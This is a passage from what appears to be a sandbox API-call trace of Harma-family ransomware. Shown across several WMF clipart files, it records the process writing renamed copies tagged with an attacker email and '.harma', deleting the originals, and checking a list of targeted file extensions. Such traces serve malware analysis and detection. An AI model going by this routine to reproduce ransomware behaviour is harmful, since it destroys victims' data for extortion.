dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0170.471] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=17200) returned 1 [0170.471] CloseHandle (hObject=0x33c) returned 1 [0170.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf")) returned 0x20 [0170.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0170.473] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.473] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0170.474] GetLastError () returned 0x0 [0170.474] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x4330, lpOverlapped=0x0) returned 1 [0170.615] WriteFile (in: hFile=0x21c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x4340, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x4340, lpOverlapped=0x0) returned 1 [0170.617] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0170.617] WriteFile (in: hFile=0x21c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0170.617] SetEndOfFile (hFile=0x21c) returned 1 [0170.617] CloseHandle (hObject=0x21c) returned 1 [0170.618] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.618] SetEndOfFile (hFile=0x33c) returned 1 [0170.627] CloseHandle (hObject=0x33c) returned 1 [0170.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0170.661] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf")) returned 1 [0170.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0170.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0170.663] lstrlenW (lpString=".doc") returned 4 [0170.663] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.663] lstrlenW (lpString=".docx") returned 5 [0170.663] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0170.663] lstrlenW (lpString=".pdf") returned 4 [0170.663] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.663] lstrlenW (lpString=".xls") returned 4 [0170.663] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.663] lstrlenW (lpString=".xlsx") returned 5 [0170.663] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0170.663] lstrlenW (lpString=".ppt") returned 4 [0170.663] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0170.663] lstrlenW (lpString=".zip") returned 4 [0170.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.663] lstrlenW (lpString=".rar") returned 4 [0170.663] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.664] lstrlenW (lpString=".bz2") returned 4 [0170.664] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.664] lstrlenW (lpString=".7z") returned 3 [0170.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0170.664] lstrlenW (lpString=".dbf") returned 4 [0170.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0170.664] lstrlenW (lpString=".1cd") returned 4 [0170.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0170.664] lstrlenW (lpString=".jpg") returned 4 [0170.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0170.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0170.664] lstrlenW (lpString=".doc") returned 4 [0170.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.664] lstrlenW (lpString=".docx") returned 5 [0170.664] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0170.664] lstrlenW (lpString=".pdf") returned 4 [0170.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.664] lstrlenW (lpString=".xls") returned 4 [0170.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.664] lstrlenW (lpString=".xlsx") returned 5 [0170.664] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0170.664] lstrlenW (lpString=".ppt") returned 4 [0170.665] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0170.665] lstrlenW (lpString=".zip") returned 4 [0170.665] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.665] lstrlenW (lpString=".rar") returned 4 [0170.665] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.665] lstrlenW (lpString=".bz2") returned 4 [0170.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.665] lstrlenW (lpString=".7z") returned 3 [0170.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0170.665] lstrlenW (lpString=".dbf") returned 4 [0170.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0170.665] lstrlenW (lpString=".1cd") returned 4 [0170.665] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0170.665] lstrlenW (lpString=".jpg") returned 4 [0170.665] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.665] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0170.665] lstrlenW (lpString="J0107188.WMF") returned 12 [0170.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.666] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=4536) returned 1 [0170.667] CloseHandle (hObject=0x39c) returned 1 [0170.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf")) returned 0x20 [0170.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.668] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.668] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0170.669] GetLastError () returned 0x0 [0170.669] ReadFile (in: hFile=0x39c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x11b8, lpOverlapped=0x0) returned 1 [0170.781] WriteFile (in: hFile=0x33c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x11c0, lpOverlapped=0x0) returned 1 [0170.782] ReadFile (in: hFile=0x39c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0170.782] WriteFile (in: hFile=0x33c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0170.782] SetEndOfFile (hFile=0x33c) returned 1 [0170.782] CloseHandle (hObject=0x33c) returned 1 [0170.783] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.783] SetEndOfFile (hFile=0x39c) returned 1 [0170.785] CloseHandle (hObject=0x39c) returned 1 [0170.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0170.785] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf")) returned 1 [0170.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0170.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0170.787] lstrlenW (lpString=".doc") returned 4 [0170.787] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.787] lstrlenW (lpString=".docx") returned 5 [0170.787] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0170.787] lstrlenW (lpString=".pdf") returned 4 [0170.787] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.787] lstrlenW (lpString=".xls") returned 4 [0170.787] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.787] lstrlenW (lpString=".xlsx") returned 5 [0170.787] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0170.787] lstrlenW (lpString=".ppt") returned 4 [0170.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0170.787] lstrlenW (lpString=".zip") returned 4 [0170.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.787] lstrlenW (lpString=".rar") returned 4 [0170.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.787] lstrlenW (lpString=".bz2") returned 4 [0170.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.787] lstrlenW (lpString=".7z") returned 3 [0170.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0170.787] lstrlenW (lpString=".dbf") returned 4 [0170.788] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0170.788] lstrlenW (lpString=".1cd") returned 4 [0170.788] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0170.788] lstrlenW (lpString=".jpg") returned 4 [0170.788] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0170.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0170.788] lstrlenW (lpString=".doc") returned 4 [0170.788] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.788] lstrlenW (lpString=".docx") returned 5 [0170.788] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0170.788] lstrlenW (lpString=".pdf") returned 4 [0170.788] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.788] lstrlenW (lpString=".xls") returned 4 [0170.788] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.788] lstrlenW (lpString=".xlsx") returned 5 [0170.788] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0170.788] lstrlenW (lpString=".ppt") returned 4 [0170.788] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0170.788] lstrlenW (lpString=".zip") returned 4 [0170.788] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.788] lstrlenW (lpString=".rar") returned 4 [0170.788] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.788] lstrlenW (lpString=".bz2") returned 4 [0170.789] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.789] lstrlenW (lpString=".7z") returned 3 [0170.789] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0170.789] lstrlenW (lpString=".dbf") returned 4 [0170.789] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0170.789] lstrlenW (lpString=".1cd") returned 4 [0170.789] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0170.789] lstrlenW (lpString=".jpg") returned 4 [0170.789] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.789] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0170.789] lstrlenW (lpString="J0107262.WMF") returned 12 [0170.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0170.796] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=7996) returned 1 [0170.796] CloseHandle (hObject=0x374) returned 1 [0170.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf")) returned 0x20 [0170.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0170.798] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.798] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0170.799] GetLastError () returned 0x0 [0170.799] ReadFile (in: hFile=0x374, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x1f3c, lpOverlapped=0x0) returned 1 [0170.856] WriteFile (in: hFile=0x3a0, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1f40, lpOverlapped=0x0) returned 1 [0170.857] ReadFile (in: hFile=0x374, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0170.857] WriteFile (in: hFile=0x3a0, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0170.858] SetEndOfFile (hFile=0x3a0) returned 1 [0170.858] CloseHandle (hObject=0x3a0) returned 1 [0170.858] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.858] SetEndOfFile (hFile=0x374) returned 1 [0170.861] CloseHandle (hObject=0x374) returned 1 [0170.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0170.861] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf")) returned 1 [0170.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0170.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0170.863] lstrlenW (lpString=".doc") returned 4 [0170.863] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.863] lstrlenW (lpString=".docx") returned 5 [0170.863] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.863] lstrlenW (lpString=".pdf") returned 4 [0170.863] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.863] lstrlenW (lpString=".xls") returned 4 [0170.863] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.863] lstrlenW (lpString=".xlsx") returned 5 [0170.863] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.863] lstrlenW (lpString=".ppt") returned 4 [0170.863] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0170.863] lstrlenW (lpString=".zip") returned 4 [0170.863] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.863] lstrlenW (lpString=".rar") returned 4 [0170.864] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.864] lstrlenW (lpString=".bz2") returned 4 [0170.864] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.864] lstrlenW (lpString=".7z") returned 3 [0170.864] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0170.864] lstrlenW (lpString=".dbf") returned 4 [0170.864] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0170.864] lstrlenW (lpString=".1cd") returned 4 [0170.864] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0170.864] lstrlenW (lpString=".jpg") returned 4 [0170.864] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0170.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0170.864] lstrlenW (lpString=".doc") returned 4 [0170.864] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.864] lstrlenW (lpString=".docx") returned 5 [0170.864] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.864] lstrlenW (lpString=".pdf") returned 4 [0170.865] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.865] lstrlenW (lpString=".xls") returned 4 [0170.865] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.865] lstrlenW (lpString=".xlsx") returned 5 [0170.865] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.865] lstrlenW (lpString=".ppt") returned 4 [0170.865] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0170.865] lstrlenW (lpString=".zip") returned 4 [0170.865] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.865] lstrlenW (lpString=".rar") returned 4 [0170.865] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.865] lstrlenW (lpString=".bz2") returned 4 [0170.865] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.865] lstrlenW (lpString=".7z") returned 3 [0170.865] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0170.865] lstrlenW (lpString=".dbf") returned 4 [0170.865] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0170.865] lstrlenW (lpString=".1cd") returned 4 [0170.865] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0170.866] lstrlenW (lpString=".jpg") returned 4 [0170.866] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.866] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0170.866] lstrlenW (lpString="J0107280.WMF") returned 12 [0170.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0170.867] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=11108) returned 1 [0170.867] CloseHandle (hObject=0x374) returned 1 [0170.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf")) returned 0x20 [0170.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0170.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" 